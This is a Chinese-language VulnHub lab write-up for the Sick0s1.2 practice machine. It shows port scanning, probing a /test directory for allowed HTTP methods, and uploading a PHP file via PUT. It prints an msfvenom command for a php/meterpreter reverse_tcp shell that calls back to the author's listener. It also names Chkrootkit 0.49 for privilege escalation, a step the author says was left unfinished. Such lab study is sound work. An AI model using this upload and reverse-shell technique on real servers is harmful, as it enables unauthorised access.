VulnHub靶场篇14-Sick0s1.2
靶机地址:Sick0s1.2~ VulnHub
难易程度:2.0 / 10.0文章简要记录渗透靶机每一个过程,对于渗透过程中的每一步并非十分的详细,其中部分内容会有错,望读者指出错误,谢谢!
摘要:扫描出22和80端口,对/test目录进行测试,使用curl或nmap工具发现其允许使用PUT协议上传文件,上传反向连接脚本,成功得到低权限,再在计划任务中发现Chkrootkit 0.49,存在Privilege Escalation漏洞。
待完善地方:nmap|curl扫描网站目录允许的传输协议
主机探测&端口扫描
靶机ip为:192.168.1.13
端口扫描结果:
hhh@Kali2020:~$ nmap -p- 192.168.1.13
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-06 16:36 CST
Stats: 0:01:38 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 92.52% done; ETC: 16:38 (0:00:08 remaining)
Nmap scan report for ubuntu (192.168.1.13)
Host is up (0.00056s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
信息搜集
使用dirb和nikto都没扫描到什么,根据之前所学的东西,在这里就停滞不前了,查看WP
思路一:查看该目录/test
允许进行通信的HTTP协议
curl -v -X OPTIONS http://192.168.1.13/test
-v:将发送的所有命令显示出来
-X:指定请求包的协议
也可以通过nmap进行扫描
nmap 192.168.1.13 -p 80 --script http-methods --script-args http-methods.url-path='/test'
思路二:也可以直接测试PUT协议是否允许
尝试通过PUT上传一个txt文件,再目录下查看是否存在
curl -v -X PUT -d "test 123" http://192.168.1.13/test/123.txt
-d:表示写入的数据data
测试后发现可以通过PUT协议进行上传
权限获取 | Exploitation
- 本地生产shell发向连接脚本
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.15 lport=443 -f raw
- 将上面生成的代码写入一个文件shell.php
- 使用curl命令通过PUT请求方法写入到网站
/test
目录
curl --upload-file shell.php -v --url http://192.168.1.13/test/shell.php -0 --http1.0
--upload-file:指定要上传的文件
-v:显示操作的所有命令
--url:指定目标URL
-0:表示使用HTTP 1.0
--http1.0:同上,使用HTTP1.0,两个参数要同时使用
- 使用nc或者msf的handler模块进行监听
- 在网站中访问该文件即可获取低权限
权限提升 | Escalation
查看计划任务
ls -al /etc/cron*
通过Chkrootkit漏洞进行提权,相关漏洞
Chkrootkit 0.49 - Local Privilege Escalation
这里我的443端口有问题连不上,8080就可以,这部分没有完全做完
总结
- PUT协议
- 使用工具扫描出该网站目录支持的协议
参考
https://github.com/zionspike/vulnhub-writeup/blob/master/sick0s 1.2/kapi-note.md